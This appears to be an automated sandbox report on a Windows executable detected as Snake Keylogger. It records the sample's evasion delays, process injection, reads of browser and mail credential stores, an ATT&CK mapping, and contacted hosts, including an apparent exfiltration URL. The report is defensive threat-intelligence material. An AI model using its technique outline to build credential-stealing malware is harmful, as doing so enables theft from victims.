Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 598031	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597339	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 597016	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596891	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596781	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596234	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 596016	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595797	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595572	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595469	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594919	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594594	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Thread delayed: delay time: 594484	Jump to behavior

Source: PT98765445670009.scr.exe, 00000002.00000002.3683807412.000000000113B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Code function: 2_2_052C7988 LdrInitializeThunk,

2_2_052C7988

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

Source: 1.2.PT98765445670009.scr.exe.55c0000.7.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 1.2.PT98765445670009.scr.exe.55c0000.7.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: Marshal.GetDelegateForFunctionPointer(GetProcAddress(LoadLibraryA(ref name), ref method), typeof(CreateApi))
Source: 1.2.PT98765445670009.scr.exe.55c0000.7.raw.unpack, vTOBOpTyAAvQkvZvwvxLfhLDrUkCOfiQETyyQECGGfUQGE.cs	Reference to suspicious API methods: ReadProcessMemory(processInformation.ProcessHandle, num3 + 8, ref buffer, 4, ref bytesRead)

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Memory written: C:\Users\user\Desktop\PT98765445670009.scr.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Process created: C:\Users\user\Desktop\PT98765445670009.scr.exe "C:\Users\user\Desktop\PT98765445670009.scr.exe"

Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Users\user\Desktop\PT98765445670009.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Users\user\Desktop\PT98765445670009.scr.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Snake Keylogger

Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Users\user\Desktop\PT98765445670009.scr.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.PT98765445670009.scr.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4096c60.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.PT98765445670009.scr.exe.4076230.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: PT98765445670009.scr.exe PID: 6880, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	111 Process Injection	1 Masquerading	1 OS Credential Dumping	1 Query Registry	Remote Services	1 Email Collection	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	11 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	1 Data from Local System	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Obfuscated Files or Information	Cached Domain Credentials	1 System Network Configuration Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Software Packing	DCSync	13 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Timestomp	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PT98765445670009.scr.exe	50%	ReversingLabs	ByteCode-MSIL.Trojan.RemcosRAT
PT98765445670009.scr.exe	60%	Virustotal		Browse
PT98765445670009.scr.exe	100%	Avira	HEUR/AGEN.1309740
PT98765445670009.scr.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Link
reallyfreegeoip.org	1%	Virustotal	Browse
scratchdreams.tk	6%	Virustotal	Browse
checkip.dyndns.com	0%	Virustotal	Browse
checkip.dyndns.org	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://checkip.dyndns.org/	0%	URL Reputation	safe
http://checkip.dyndns.org/q	0%	URL Reputation	safe
http://reallyfreegeoip.org	0%	URL Reputation	safe
https://reallyfreegeoip.org	0%	URL Reputation	safe
http://checkip.dyndns.org	0%	URL Reputation	safe
http://checkip.dyndns.com	0%	URL Reputation	safe
https://reallyfreegeoip.org/xml/	0%	URL Reputation	safe
https://scratchdreams.tk	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/102.165.48.43	0%	Avira URL Cloud	safe
http://crl.micro2G	0%	Avira URL Cloud	safe
https://reallyfreegeoip.org/xml/102.165.48.43$	0%	Avira URL Cloud	safe
https://scratchdreams.tk/_send_.php?TS	0%	Avira URL Cloud	safe
http://scratchdreams.tk	0%	Avira URL Cloud	safe
https://scratchdreams.tk/_send_.php?TS	1%	Virustotal		Browse
http://scratchdreams.tk	6%	Virustotal		Browse
https://scratchdreams.tk	14%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
reallyfreegeoip.org	172.67.177.134	true	false	1%, Virustotal, Browse	unknown
scratchdreams.tk	104.21.27.85	true	false	6%, Virustotal, Browse	unknown
checkip.dyndns.com	193.122.6.168	true	false	0%, Virustotal, Browse	unknown
checkip.dyndns.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://checkip.dyndns.org/	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/102.165.48.43	false	Avira URL Cloud: safe	unknown
https://scratchdreams.tk/_send_.php?TS	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://reallyfreegeoip.org/xml/102.165.48.43$	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.micro2G	PT98765445670009.scr.exe, 00000002.00000002.3683807412.000000000113B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://checkip.dyndns.org/q	PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://scratchdreams.tk	PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://reallyfreegeoip.org	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EC0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.org	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F71000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EEB000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002E99000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://checkip.dyndns.com	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F56000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F64000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F3B000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FA0000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F90000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002F48000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://scratchdreams.tk	PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002FAE000.00000004.00000800.00020000.00000000.sdmp	false	6%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org/xml/	PT98765445670009.scr.exe, 00000001.00000002.1240078291.0000000004034000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3688666945.0000000002EA8000.00000004.00000800.00020000.00000000.sdmp, PT98765445670009.scr.exe, 00000002.00000002.3682390166.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.67.177.134	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
104.21.27.85	scratchdreams.tk	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1416398
Start date and time:	2024-03-27 11:23:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 15s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PT98765445670009.scr.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/1@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 106 Number of non-executed functions: 39
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
11:24:04	API Interceptor	12232820x Sleep call for process: PT98765445670009.scr.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.122.6.168	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	sipari#U015f formu_831512.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	PROFORMA FATURA.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	proforma_Invoice_0009300_74885959969_9876.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.2725.8730.30889.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.2725.27231.18654.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.PackedNET.2725.26841.22155.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Bztahpxu.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	Vessel Particulars.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	scan copy.jar	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
172.67.177.134	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse
	sipari#U015f formu_831512.exe	Get hash	malicious	Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	PROFORMA FATURA.exe	Get hash	malicious	Snake Keylogger	Browse
	xdd6BRIg0O.exe	Get hash	malicious	PureLog Stealer, RedLine, Snake Keylogger	Browse
	Halkbank_Ekstre_20240312_081829_752731.exe	Get hash	malicious	Snake Keylogger	Browse
	lO6Cysph34.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.1552.3502.exe	Get hash	malicious	Snake Keylogger	Browse
	rTheRequestedReceipt.exe	Get hash	malicious	Snake Keylogger	Browse
104.21.27.85	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse
	ATM Dekont E-Maili pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse
	Halkbank_Ekstre_20240312_081829_752731.exe	Get hash	malicious	Snake Keylogger	Browse
	Q88 09284823910.scr.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.1552.3502.exe	Get hash	malicious	Snake Keylogger	Browse
	rTheRequestedReceipt.exe	Get hash	malicious	Snake Keylogger	Browse
	SecuriteInfo.com.Trojan.PackedNET.2725.27231.18654.exe	Get hash	malicious	Snake Keylogger	Browse
	https://focuscenter.com.br/SKMBT_27022024.tar	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	8wvP84hzFu.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	SDTP098766700000.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	sipari#U015f formu_831512.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	23343100IM00270839_Dekont1.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	e-dekont.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PROFORMA FATURA.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
